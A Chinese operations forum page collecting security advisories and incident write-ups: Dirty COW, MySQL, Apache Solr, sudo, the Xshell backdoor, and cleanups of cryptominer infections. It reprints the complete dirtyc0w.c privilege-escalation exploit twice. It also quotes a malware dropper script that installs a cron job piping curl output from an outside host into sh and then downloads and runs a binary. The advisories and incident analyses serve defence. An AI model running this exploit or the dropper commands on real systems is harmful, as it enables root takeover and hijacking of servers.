如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。

Linux各发行版本对于该漏洞相关信息

Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html

受影响的范围

这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

如何修改该漏洞

Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

如何发现有人利用该漏洞攻击我?

利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。

谁发现的这个漏洞?

Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/ 查看全部
dirtycow.jpeg


漏洞描述


漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


为什么这个漏洞叫脏牛(Dirty COW)漏洞?


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


漏洞相关细节​


漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661
Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。


Linux各发行版本对于该漏洞相关信息


Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html


受影响的范围


这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


如何修改该漏洞


Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。


如何发现有人利用该漏洞攻击我?


利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。


谁发现的这个漏洞?


Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/

MySQL远程代码执行漏洞安全预警

运维技术Geek小A 发表了文章 • 0 个评论 • 525 次浏览 • 2016-10-11 13:53 • 来自相关话题

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
攻击者可以在配置文件中注入恶意配置;上传恶意的so到lib库中;db重启(重新加载恶意配置)。
 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html 查看全部
bug.png

MySQL最近爆出高危漏洞CVE-2016-6662,可导致远程代码执行/权限提升。
 
影响范围:
MySQL <= 5.7.15,
<=5.6.33,
<= 5.5.52
PerconaDB与MariaDB也受此漏洞影响。

修复方案:
1.oracle官网发布mysql修复补丁后立即升级版本。PerconaDB与MariaDB官网已经发布补丁,请升级到最新版本。下载地址分别如下:
https://mariadb.org/download/ 
https://www.percona.com/downloads/ 

2.暂时的缓解策略:
修改MySQL所有用户密码为复杂密码;
关闭MySQL普通用户的File文件访问权限;
以root用户身份创建一个虚假my.cnf文件;
 
 
漏洞详情:
攻击者通过一个拥有File权限的MySQL普通用户将恶意库文件路径插入到MySQL配置文件的malloc_lib变量中,当MySQL服务重启时就可以加载恶意库文件实现以root权限执行任意代码。
 
漏洞利用条件:
  1. 攻击者可以在配置文件中注入恶意配置;
  2. 上传恶意的so到lib库中;
  3. db重启(重新加载恶意配置)。

 
 
验证方法参考:http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

[Errno 14] problem making ssl connection Trying other mirror

回复

运维技术采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 267 次浏览 • 2017-08-17 10:26 • 来自相关话题

有道笔记你挂了,你知道吗?

回复

互联网资讯Nock 回复了问题 • 2 人关注 • 1 个回复 • 734 次浏览 • 2017-08-15 16:09 • 来自相关话题

Apache Solr/Lucene 0Day远程代码执行漏洞安全预警

运维技术OS小编 发表了文章 • 0 个评论 • 141 次浏览 • 2017-10-20 22:07 • 来自相关话题

近日,Apache Solr/Lucene修复了一个0-day漏洞,该漏洞可能导致运程代码执行、信息泄露,危害严重。请及时检查您所使用的Apache Solr是否受影响,并采取安全防御措施。
 
影响范围:

Solr 5.5.0 to 5.5.4

Solr 6.0.0 to 6.6.1

Solr 7.0.0 to 7.0.1

修复方案:

升级到官方提供的安全修复版本:

Solr 6.6.2

Solr 7.1.0

漏洞详情:
CVE-2017-12629:Apache Solr存在XXE和RCE漏洞:
lucene xml解析器没有明确禁止doctype 外部实体的声明,黑客可通过构造恶意的XML请求来读取服务器任意文件,导致信息泄露。Apache Solr“RunExecutableListener”类可以通过恶意的请求来执行任意操作,导致服务器被控制。
 
参考链接:
https://issues.apache.org/jira/browse/SOLR-11482  
https://issues.apache.org/jira/browse/SOLR-11477   查看全部
近日,Apache Solr/Lucene修复了一个0-day漏洞,该漏洞可能导致运程代码执行、信息泄露,危害严重。请及时检查您所使用的Apache Solr是否受影响,并采取安全防御措施。
 
影响范围:


Solr 5.5.0 to 5.5.4

Solr 6.0.0 to 6.6.1

Solr 7.0.0 to 7.0.1


修复方案:


升级到官方提供的安全修复版本:

Solr 6.6.2

Solr 7.1.0


漏洞详情:
CVE-2017-12629:Apache Solr存在XXE和RCE漏洞:
  1. lucene xml解析器没有明确禁止doctype 外部实体的声明,黑客可通过构造恶意的XML请求来读取服务器任意文件,导致信息泄露。
  2. Apache Solr“RunExecutableListener”类可以通过恶意的请求来执行任意操作,导致服务器被控制。

 
参考链接:
https://issues.apache.org/jira/browse/SOLR-11482  
https://issues.apache.org/jira/browse/SOLR-11477  

NetSarang旗下XShell和Xmanager多款软件被植入后门

运维技术OS小编 发表了文章 • 0 个评论 • 209 次浏览 • 2017-08-15 16:20 • 来自相关话题

近日,境内外多家安全公司爆料称NetSarang旗下Xmanager和Xshell等产品的多个版本被植入后门代码,由于相关软件在国内程序开发和运维人员中被广泛使用,可能导致大量用户服务器账号密码泄露。请及时检查您所使用的版本是否受影响,并采取安全防御措施。
 

影响范围

使用了nssock2.dll 5.0.0.26的版本会受到影响,其中包括:
 Xmanager Enterprise 5.0 Build 1232 Xmanager 5.0 Build 1045 Xshell 5.0 Build 1322 Xshell 5.0 Build 1325 Xftp 5.0 Build 1218 Xlpd 5.0 Build 1220
 

修复方案

 1、从官网下载最新版本进行升级:https://www.netsarang.com/download/software.html  ;
 
2、排查2017年的DNS访问日志,如出现如下子域名相关访问记录,建议修改对应员工使用过Xmanager 、XShell、Xftp等相关的登录账号密码:
vwrcbohspufip.comribotqtonut.comnylalobghyhirgh.comjkvmdmjyfcvkf.combafyvoruzgjitwr.comxmponmzmxkxkh.comtczafklirkl.com
 

漏洞详情

某安全公司发现NetSarang的Xmanager, Xshell, Xftp, Xlpd等产品中,发布的nssock2.dll模块中存在恶意代码远程漏洞,存在后门的XShell等程序会在启动时发起大量请求DNS域名请求,并根据使用者系统时间生成不同的请求链接。有媒体报道,带后门的Xshell会向服务器传输敏感信息。
 
参考链接:https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html  。 查看全部
近日,境内外多家安全公司爆料称NetSarang旗下Xmanager和Xshell等产品的多个版本被植入后门代码,由于相关软件在国内程序开发和运维人员中被广泛使用,可能导致大量用户服务器账号密码泄露。请及时检查您所使用的版本是否受影响,并采取安全防御措施。
 


影响范围


使用了nssock2.dll 5.0.0.26的版本会受到影响,其中包括:
  •  Xmanager Enterprise 5.0 Build 1232
  •  Xmanager 5.0 Build 1045
  •  Xshell 5.0 Build 1322
  •  Xshell 5.0 Build 1325
  •  Xftp 5.0 Build 1218
  •  Xlpd 5.0 Build 1220

 


修复方案


 1、从官网下载最新版本进行升级:https://www.netsarang.com/download/software.html  ;
 
2、排查2017年的DNS访问日志,如出现如下子域名相关访问记录,建议修改对应员工使用过Xmanager 、XShell、Xftp等相关的登录账号密码:
  • vwrcbohspufip.com
  • ribotqtonut.com
  • nylalobghyhirgh.com
  • jkvmdmjyfcvkf.com
  • bafyvoruzgjitwr.com
  • xmponmzmxkxkh.com
  • tczafklirkl.com

 


漏洞详情


某安全公司发现NetSarang的Xmanager, Xshell, Xftp, Xlpd等产品中,发布的nssock2.dll模块中存在恶意代码远程漏洞,存在后门的XShell等程序会在启动时发起大量请求DNS域名请求,并根据使用者系统时间生成不同的请求链接。有媒体报道,带后门的Xshell会向服务器传输敏感信息。
 
参考链接:https://www.netsarang.com/news/security_exploit_in_july_18_2017_build.html  。

清除wnTKYg挖矿木马过程详解

运维技术chris 发表了文章 • 0 个评论 • 518 次浏览 • 2017-07-27 23:02 • 来自相关话题

 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。
由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了。最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU也一直保持75%,然后在xShell上top了一下,发现wnTKYg这个程序CPU占用率300%.




很明显是病毒进程,下意识的把它kill了,但是一分钟之后又自动重启了,于是百度了一下,发现这个东西叫做挖矿工,简单的说,就是别人用你的服务器去做它自己的事,然后赚钱。       
 
知道wnTKYg是什么鬼之后,我不急着杀死它,先百度了一下它怎么进来的,百度上关于它的帖子特别少,说是钻了redis的空子进来的,我基本上赞同这个说法,第一步就是对redis进行了配置上的修改:
把默认的端口号6379给改了把密码改的更复杂了把bind xx.xx.x.x xx.xx.xx.xx改了
修改redis是防止这熊孩子再进来,第二步就是把已经入驻的木马杀死,它不仅使用我的服务器,它还登录我的账号,所以查看了 /root/.ssh 下的文件,在/root/.ssh/known_hosts中发现了我不认识的IP,绝对有问题,于是干脆把 /root/.ssh 下的文件都删了,省事了。
 
第三步就是要找到所有关于病毒的文件, 执行命令  find / -name wnTKYg*,只有/tmp下有这个文件,删了,然后就去kill wnTKYg进程,你以为这样它就可以死了吗?Never!一分钟之后它又复活了,我猜测一定有守护进程在唤醒它,于是我再kill  然后top观察进行变化,终于被我发现了,有一个/tmp/ddg.1007进程很可疑,于是百度这个东东验证了一下,果然,就是挖矿工的守护进程,用ps -aux|grep ddg 命令把所有ddg进程找出来杀掉,并删除/tmp目录下的所有的对应ddg文件,至此,病毒被解决了,异地登录,安全扫描什么的也被我解决了。
 
很多哥们也遇到了这个问题,加了我好友,并且描述了他们的一些情况,我会把他们的改进和补充也写在此贴里,有的哥们会有个定时任务下载这些东西,目录 /var/spool/cron,记得留意这个文件夹,如果遇到,就把它干掉。
 
安全问题依然严峻,于是找了一家安全公司--安全狗咨询了下相关的安全业务,发现蛮贵的,都是万开头的,而且我也不知道他们水平怎么样,于是把我遇到的问题跟业务员说了,看看他们怎么解决,怎么收费,谈判了一下午,定价3500,没的再低了,哎,还是我好,又为公司省了3500。
 
因为发了这篇帖子,一位和我情况差不多的网友也提供了一种解决方案,我把他的也贴进来与大家分享谢谢这位网友:首先关闭挖矿的服务器访问 :iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP然后删除yam 文件   用find / -name yam查找yam 文件    之后 找到wnTKYg 所在目录 取消掉其权限  并删除 然后再取消掉 tmp 的权限并删除  之后 pkill  wnTKYg就OK了。
 
当然,我也咨询了阿里的解决方案,有两个,①找第三方安全公司杀②把数据备份一下,重置系统 。  坑爹的阿里啊。
 
分享阅读:点击原文。 查看全部
 杀wnTKYg病毒分两步,第一是找到它的来源,切断入口,第二步,找到它的守护进程并杀死,然后再去杀死病毒进程,有的守护进程很隐蔽,唤醒病毒之后,自动消亡,这时候top就看不到了,要留心。
由于工作需要,我由一个专业java开发工程师,渐渐的也成为了不专业的资深的运维工程师了。最近项目在做性能测试,发现CPU使用率异常,无人访问时CPU也一直保持75%,然后在xShell上top了一下,发现wnTKYg这个程序CPU占用率300%.
wntky.png

很明显是病毒进程,下意识的把它kill了,但是一分钟之后又自动重启了,于是百度了一下,发现这个东西叫做挖矿工,简单的说,就是别人用你的服务器去做它自己的事,然后赚钱。       
 
知道wnTKYg是什么鬼之后,我不急着杀死它,先百度了一下它怎么进来的,百度上关于它的帖子特别少,说是钻了redis的空子进来的,我基本上赞同这个说法,第一步就是对redis进行了配置上的修改:
  1. 把默认的端口号6379给改了
  2. 把密码改的更复杂了
  3. 把bind xx.xx.x.x xx.xx.xx.xx改了

修改redis是防止这熊孩子再进来,第二步就是把已经入驻的木马杀死,它不仅使用我的服务器,它还登录我的账号,所以查看了 /root/.ssh 下的文件,在/root/.ssh/known_hosts中发现了我不认识的IP,绝对有问题,于是干脆把 /root/.ssh 下的文件都删了,省事了。
 
第三步就是要找到所有关于病毒的文件, 执行命令  find / -name wnTKYg*,只有/tmp下有这个文件,删了,然后就去kill wnTKYg进程,你以为这样它就可以死了吗?Never!一分钟之后它又复活了,我猜测一定有守护进程在唤醒它,于是我再kill  然后top观察进行变化,终于被我发现了,有一个/tmp/ddg.1007进程很可疑,于是百度这个东东验证了一下,果然,就是挖矿工的守护进程,用ps -aux|grep ddg 命令把所有ddg进程找出来杀掉,并删除/tmp目录下的所有的对应ddg文件,至此,病毒被解决了,异地登录,安全扫描什么的也被我解决了。
 
很多哥们也遇到了这个问题,加了我好友,并且描述了他们的一些情况,我会把他们的改进和补充也写在此贴里,有的哥们会有个定时任务下载这些东西,目录 /var/spool/cron,记得留意这个文件夹,如果遇到,就把它干掉
 
安全问题依然严峻,于是找了一家安全公司--安全狗咨询了下相关的安全业务,发现蛮贵的,都是万开头的,而且我也不知道他们水平怎么样,于是把我遇到的问题跟业务员说了,看看他们怎么解决,怎么收费,谈判了一下午,定价3500,没的再低了,哎,还是我好,又为公司省了3500
 
因为发了这篇帖子,一位和我情况差不多的网友也提供了一种解决方案,我把他的也贴进来与大家分享谢谢这位网友:首先关闭挖矿的服务器访问 :
iptables -A INPUT -s  xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
然后删除yam 文件   用find / -name yam查找yam 文件    之后 找到wnTKYg 所在目录 取消掉其权限  并删除 然后再取消掉 tmp 的权限并删除  之后 pkill  wnTKYg就OK了。
 
当然,我也咨询了阿里的解决方案,有两个,①找第三方安全公司杀②把数据备份一下,重置系统 。  坑爹的阿里啊。
 
分享阅读:点击原文

Sudo本地提权漏洞安全预警

运维技术OS小编 发表了文章 • 0 个评论 • 350 次浏览 • 2017-05-31 15:53 • 来自相关话题

linux 系统sudo存在本地提权高危漏洞,本地攻击者可以利用此漏洞提权至root。请检查您所使用的sudo是否在影响范围之内,并及时进行升级。
影响范围

       Centos 5、6、7

       Redhat Enterprise Linux 5、6、7

       Ubuntu 14.04、15.04、16.04、16.10、17.04、17.10

       Debian wheezy、jessie、jessie、sid

       SUSE Linux Enterprise Software Development Kit 12 SP1、SP2

       SUSE Linux Enterprise Server for SAP 12

       SUSE Linux Enterprise Server 12 SP1 、SP2

       SUSE Linux Enterprise Server 12-LTSS

       SUSE Linux Enterprise Desktop 12 SP1 、SP2

       SUSE Linux Enterprise Server for Raspberry Pi 12 SP2

       OpenSuse
 
修复方案

       【CentOS/RHEL】

       yum update

       或 yum install sudo

       【Ubuntu/Debian】

       sudo apt update $ sudo apt upgrade

       或sudo apt-get install sudo

       备注:部分官方版本还未发布可用修复包,请时刻关注,官网发布后UCloud软件源也会在第一时间更新。

       【修复版本】

       1、Centos /Redhat

       Centos /RHEL 7 :1.8.6p7-22.el7_3

       Centos /RHEL 6 :1.8.6p3-28.el6_9

       Centos /RHEL 5 :1.7.2p1-30.el5_11

       2、Ubuntu

       Ubuntu 14.04:1.8.9p5-1ubuntu1.4

       Ubuntu 16.04:1.8.16-0ubuntu1.4

       Ubuntu 16.10:1.8.16-0ubuntu3.2

       Ubuntu 17.04:1.8.19p1-1ubuntu1.1

       3、Debian

       Debian wheezy:1.8.5p2-1+nmu3+deb7u3

       Debian jessie:1.8.10p3-1+deb8u4

       4、SUSE /OpenSuse

       1.8.10p3-2.11.1

       1.8.10p3-10.5.1
 
漏洞详情

       CVE-2017-1000367:当确定tty时,Sudo没有正确解析/ proc / [pid] / stat的内容,本地攻击者可能会使用此方法来覆盖文件系统上的任何文件,从而绕过预期权限或获取root shell。

       sudo版本查看方法:

       Centos /RHEL /SUSE /OpenSuse:rpm -qa|grep sudo

       Ubuntu /Debian:dpkg -l sudo 查看全部
linux 系统sudo存在本地提权高危漏洞,本地攻击者可以利用此漏洞提权至root。请检查您所使用的sudo是否在影响范围之内,并及时进行升级。
影响范围

       Centos 5、6、7

       Redhat Enterprise Linux 5、6、7

       Ubuntu 14.04、15.04、16.04、16.10、17.04、17.10

       Debian wheezy、jessie、jessie、sid

       SUSE Linux Enterprise Software Development Kit 12 SP1、SP2

       SUSE Linux Enterprise Server for SAP 12

       SUSE Linux Enterprise Server 12 SP1 、SP2

       SUSE Linux Enterprise Server 12-LTSS

       SUSE Linux Enterprise Desktop 12 SP1 、SP2

       SUSE Linux Enterprise Server for Raspberry Pi 12 SP2

       OpenSuse
 
修复方案

       【CentOS/RHEL】

       yum update

       或 yum install sudo

       【Ubuntu/Debian】

       sudo apt update $ sudo apt upgrade

       或sudo apt-get install sudo

       备注:部分官方版本还未发布可用修复包,请时刻关注,官网发布后UCloud软件源也会在第一时间更新。

       【修复版本】

       1、Centos /Redhat

       Centos /RHEL 7 :1.8.6p7-22.el7_3

       Centos /RHEL 6 :1.8.6p3-28.el6_9

       Centos /RHEL 5 :1.7.2p1-30.el5_11

       2、Ubuntu

       Ubuntu 14.04:1.8.9p5-1ubuntu1.4

       Ubuntu 16.04:1.8.16-0ubuntu1.4

       Ubuntu 16.10:1.8.16-0ubuntu3.2

       Ubuntu 17.04:1.8.19p1-1ubuntu1.1

       3、Debian

       Debian wheezy:1.8.5p2-1+nmu3+deb7u3

       Debian jessie:1.8.10p3-1+deb8u4

       4、SUSE /OpenSuse

       1.8.10p3-2.11.1

       1.8.10p3-10.5.1
 
漏洞详情

       CVE-2017-1000367:当确定tty时,Sudo没有正确解析/ proc / [pid] / stat的内容,本地攻击者可能会使用此方法来覆盖文件系统上的任何文件,从而绕过预期权限或获取root shell。

       sudo版本查看方法:

       Centos /RHEL /SUSE /OpenSuse:rpm -qa|grep sudo

       Ubuntu /Debian:dpkg -l sudo

挖矿程序minerd入侵分析和解决

互联网资讯koyo 发表了文章 • 0 个评论 • 2923 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
